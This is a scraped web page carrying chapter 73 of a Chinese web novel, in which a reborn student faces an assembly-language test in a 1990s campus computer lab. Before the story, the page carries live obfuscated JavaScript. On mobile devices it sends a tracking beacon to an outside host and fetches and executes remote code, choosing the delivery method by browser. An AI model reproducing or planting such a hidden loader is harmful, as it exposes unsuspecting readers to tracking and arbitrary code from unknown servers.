第73章 这是高手(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
在整个江大,电信院的计算机房算是条件最好的机房之一,其规模和设备的先进程度,仅次于网络中心及计算机学院等。
因此,张高阳的这份工作虽然有点繁琐,但他的内心还是挺自豪的。
“看到没,清一色的586,小机房里甚至还有几台最新的奔腾三。”
指了指机房内那些还很新的电脑,张高阳得意洋洋地说:“想用电脑的话,就拿出你的本事来,让我看看你的水平到底咋样。”
考验即将开始。
切,一些老古董而已,有什么值得稀奇的?
余文钢暗暗腹诽了一句。
作为一个过来人,他在前世什么样的先进设备没用过?论速度,论计算能力,就算是现在的奔腾三,也哪能和二十年后的设备比?
可现如今,为了能用上这样一台老古董,他却不得不来接受张高阳的考验了。
“你想考什么?”
一屁股坐在了一台电脑前,余文钢随手就按下了电源按钮,电脑屏幕开始闪动,然后在黑白屏dos状态下跳了很久,才跳出了98启动画面。
余文钢熟练地查看起了电脑的配置。
奔腾2处理器,128b内存,10g硬盘,15寸彩显,主板自带声卡和显卡……
这样的配置,除了因为是机房用机没有独立显卡、独立声卡、光驱之外,已现在算得上是目前的高端配置,可是与二十年后的电脑相比,还是差得太远太远。
“你不是说你会汇编吗?来,给你看一段程序,看你能不能看懂。”
张高阳掏出了一张软盘。
在计算机语言这一块,分为机器语言、低级语言、高级语言这三种。
机器语言就不必说了。
那是一串串由“0”和“1”组成的指令序列,这种计算机能够认识的语言,可读性却非常非常差,因此很少有人会用。
其次就是低级语言。
汇编语言就是低级语言的一种,也是最为普及的一种。
汇编语言和机器语言实质是相同的,都是直接对硬件操作,只不过指令采用了英文缩写的标识符,容易识别和记忆。
源程序经汇编生成的可执行文件不仅比较小,而且执行速度很快。
可是与大量使用堆栈、寄存器,将许多相关的机器指令合成为单条指令,并且去掉了与具体操作有关但与完成工作无关的细节的高级语言相比,汇编语言的源程序一般比较冗长、复杂、容易出错。
这就意味着,一个能熟练使用汇编语言进行编程的人,需要掌握更多的计算机专业知识,必须对计算机的原理了解得更加透彻。
因此,从计算机语言的学习和掌握来说,不需要有太多的专业知识的高级语言反而是更容易掌握的,反倒是汇编语言,一旦能熟练掌握的,那才是真正的高手。
余文钢竟然敢说自己还会汇编语言?
张高阳咋一听,他当时的反应是嗤之以鼻。
那就拿这个来刁难你吧!
张高阳立即就拿出了一张早已准备好的软盘。
在这个u盘尚未面世,移动硬盘更是罕见的年代,程序员想保留自己的程序,只能把它们装进一张张35英寸大小的软盘里。
作为一个计算机通信技术方面的专业人士,张高阳在汇编语言方面也是下过苦功的,在早期,他就曾经做过大量的汇编语言编程练习,并且把那些练习程序都保存了下来。
现在,他这张软盘里装的就是他的那些练习程序。
余文钢比较才一个大一的新生而已,张高阳就算想刁难他,也不至于拿上千行代码的复杂程序来考验他。
把软盘插进了电脑主机的软驱里后,张高阳把一段程序调了出来,得意洋洋地说道:“好好看看,看你能看懂不?”
一种熟悉的感觉立即就涌上了余文钢的心头。
对于汇编语言,他真的不陌生,甚至于可以称得上是精通。
汇编语言虽然开发周期特别长,实现一个简单的功能都非常麻烦,很少被用来编写应用程序,可它那直接访问计算机硬件、执行效率极高、占用资源极少的特点,却让它被广泛应用于嵌入式设备、驱动程序、实时应用、核心算法等方面的编程。